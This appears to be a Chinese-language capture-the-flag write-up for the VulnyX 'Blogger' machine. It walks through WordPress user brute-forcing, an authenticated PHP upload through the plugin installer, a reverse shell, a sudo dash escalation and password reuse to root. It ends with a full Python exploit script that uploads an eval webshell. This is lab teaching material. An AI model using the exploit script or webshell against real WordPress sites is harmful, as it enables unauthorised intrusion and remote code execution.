当前位置: 首页 > news >正文

vulnyx Blogger writeup

信息收集

arp-scan

nmap 

获取userFlag

上web看看

一个默认的页面,gobuster扫一下目录

可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到

这里就说明我们需要设置hosts,需要在hosts文件中添加以下条目:

192.168.43.213 megablog.nyx

然后访问wp-login.php

这里就是admin后台了,接下来的思路就是通过wpscan枚举并爆破用户,看看能不能有结果

wpscan --api-token apikey --url http://megablog.nyx/wordpress -e u -P 字典文件

成功跑出来了一个用户

peter:peterpan 

然后就可以登录到后台了,这里先去翻一下wpscan前面扫出来的漏洞

在其中发现了该wordpress存在这样一个文件上传漏洞,这个漏洞简单的来说就是可以以具有admin权限的用户,利用插件安装模块的文件上传点直接上传php文件,具体步骤如下:

这里就可以直接上传php文件了,上传之后到Media模块中可以看到上传的php文件,然后点进去即可copy url

然后后面就是熟悉的反弹shell了

上来之后发现是www-data用户,而且没有权限看blog用户的家目录,那下面的思路就是要提权到blog,sudo -l看一下

可以以blog身份无密码执行dash,tldr看一下dash的使用示例

这里发现可以通过-c选项执行系统命令,所以可以直接通过它拿到blog的shell

sudo -u blog dash -c '/bin/bash'

然后到blog的家目录下就可以拿到userflag

userflag:507ed5c488064e5ae9d2007dd2b50b53

获取rootFlag

拿到blog后sudo -l发现该用户并没有被授予sudo权限,然后在/tmp和/opt中也没有找到有价值的东西,之后通过ss -lnpt发现该服务器上运行了mysql

所以下一步打算去mysql中看看,想要登录mysql需要找到mysql的账密,这个一般配置在当前网站根目录中的配置文件中,如config.php,所以可以通过find命令直接查找文件名包含config的文件。然后自然的就像切到/var/www/html下,发现blog并没有访问权限,所以回退到www-data用户,然后在进到web根目录下,通过find查找:

find ./wordpress -name *config* 2>/dev/null

cat一下这个文件

在这里找到了配置的用户名和密码,但发现它的用户名是root,所以尝试使用此密码登录root

成功拿到root shell,然后去/root中即可获得rootflag

rootflag:1a1096b5c68cbefc74290f70d7ccb696

写在最后

web那块wordpress可以通过whatweb探测出大概的版本

wordpress < 6.4.3 admin+ PHP File Upload 的python利用脚本

# 利用漏洞 wordpress < 6.4.3 admin+ PHP file upload
import requests, time, sys, re# 初始化
url = 'http://192.168.43.213/wordpress'
url_login = f'{url}/wp-login.php'   # 登录页面
url_admin = f'{url}/wp-admin/plugins.php'   # 验证是否获取到登录后的cookie
url_wpnonce = f'{url}/wp-admin/plugin-install.php?tab=upload'  # 在上传页面获取上传专用的wordpress安全令牌,上传时没有该字段会失败
url_upload = f'{url}/wp-admin/update.php?action=upload-plugin'  # php upload页面
url_check = f'{url}/wp-admin/upload.php?mode=grid'  # 查看上传文件
payload = '<?php eval($_REQUEST[1]);?>'    # 要上传的php代码
login_username = 'peter'    # 后台用户名
login_password = 'peterpan' # 密码# 要携带的请求头
headers = {# 'Host':'megablog.nyx',  # 模拟dns解析'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0','Cookie':'wordpress_test_cookie=1'  # 值无所谓,但必须要有这个字段,否则登录会失败
}# 设置代理,便于调试
proxies = {'http':'http://192.168.43.6:8080'
}# 用户登录的表单
login_data = {'log':login_username,'pwd':login_password,'rememberme':'forever','wp-submit':'Log In','redirect_to':'http://megablog.nyx/wordpress/wp-admin/','testcookie':1
}# 登录函数
def checkLogin():print('''
===============执行登录模块
===============''')time.sleep(0.5)# 登录res = requests.post(url_login, headers=headers, data=login_data, proxies=proxies, allow_redirects=False)if res.status_code != 302:sys.exit('登录失败')print('>>登录成功<<')set_cookie = res.headers['Set-Cookie']cookies = ''.join(re.findall(r'wordpress_.+?;', set_cookie))headers['Cookie'] = cookies # 将获得的cookie更新到headers中去# 验证是否进入admin页面res = requests.get(url_admin, headers=headers, proxies=proxies)if 'dashboard' in res.text.lower():print('>>成功进入admin页面<<')# 获取nonce值(wordpress安全令牌),上传时没有该字段会失败res = requests.get(url_wpnonce, headers=headers, proxies=proxies)wpnonce = re.findall(r'(?<="_wpnonce" value=")\w+(?=")', res.text)[0]print(f'成功获取wpnonce:{wpnonce}')return wpnonce# PHP文件上传
def phpUpload(wpnonce):print('''
===============执行上传模块
===============''')time.sleep(0.5)files = {'_wpnonce':(None, wpnonce, None),'pluginzip':('shell1.php', payload, 'application/octet-stream')}res = requests.post(url_upload, headers=headers, proxies=proxies, files=files)if res.status_code == 200:print('>>上传成功<<')sys.exit(f'查看上传的文件:{url_check}')if __name__ == '__main__':wpnonce = checkLogin()phpUpload(wpnonce)

 

相关文章:

  • Linux学习
  • 机器学习×第五卷:线性回归入门——她不再模仿,而开始试着理解你
  • 如何手撸一个最小化操作系统:从 0 到 1 掌握汇编-文件管理-内存页表-文件系统-上下文切换算法 MIT 经典教程 结合豆包ai
  • win操作系统安装C++语言开发环境之一, vscode +MinGW ,流程
  • 【1】跨越技术栈鸿沟:字节跳动开源TRAE AI编程IDE的实战体验
  • Visual Studio Code 扩展
  • 图表类系列各种样式PPT模版分享
  • 使用 C# 将 Word、Excel、PDF 和 PPT文档转换为 Markdown 格式
  • 如何使用 Ansible 在 Ubuntu 24.04 上安装和设置 LNMP
  • 莫兰迪高级灰总结计划简约商务通用PPT模版
  • VmWare Ubuntu 16.04 搭建DPDK 19.08.2
  • 【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道
  • 从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障
  • React 第五十八节 Router中StaticRouterProvider的使用详解及案例
  • React第五十七节 Router中RouterProvider使用详解及注意事项
  • React核心概念:State是什么?如何用useState管理组件自己的数据?
  • 大模型智能体核心技术:CoT与ReAct深度解析
  • 操作系统的概念,功能和目标
  • React入门第一步:如何用Vite创建你的第一个React项目?
  • 深入理解 React 样式方案
  • 贺州住房和城乡建设部网站/重庆网站制作系统
  • 临沂做网站的公司有哪些/青岛seo博客
  • phpwind 做的网站/seo排名优化怎样
  • 洛阳网站建设汉狮报价/云南网站建设百度
  • 网站模板哪家好/google关键词seo
  • 网站做关键词搜索要好多钱/做企业推广的公司